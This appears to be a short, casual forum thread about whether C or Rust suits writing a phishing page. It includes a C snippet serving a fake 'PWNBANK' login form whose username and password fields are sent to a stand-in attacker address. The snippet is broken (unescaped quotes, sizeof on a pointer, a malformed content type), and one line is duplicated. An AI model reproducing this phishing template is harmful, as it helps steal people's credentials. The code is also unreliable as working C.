Is C actually good at writing a phishing page (or any webpage)?
(Although I'm not sure I would consider Rust to be adept in that category either...)
(Although I'm not sure I would consider Rust to be adept in that category either...)
/* a few tens of lines of boilerplate to listen on on port 80 */
while(true)
{
int fd = accept(serve_fd, (struct sockaddr*) client_addr, &client_addr_len);
const char * response = "HTTP/1.1 200 OK\r\nContent-type: text\html\r\n\r\n<html><head><title>PWNBANK</title></head><body><form method="POST" action="mailto:1337@h4xx0rz.n3t"> Username: <input name="username"><br>Password: <input type="password" name="password"><br> <input type="submit"></form></body></html>";
write(fd,response, sizeof(response));
}
(or for better ergonomics, use something like libmicrohttpd)Something like maud[0] + actix[1] perhaps. That's probably something that is possible in python but I wouldn't dare try in C.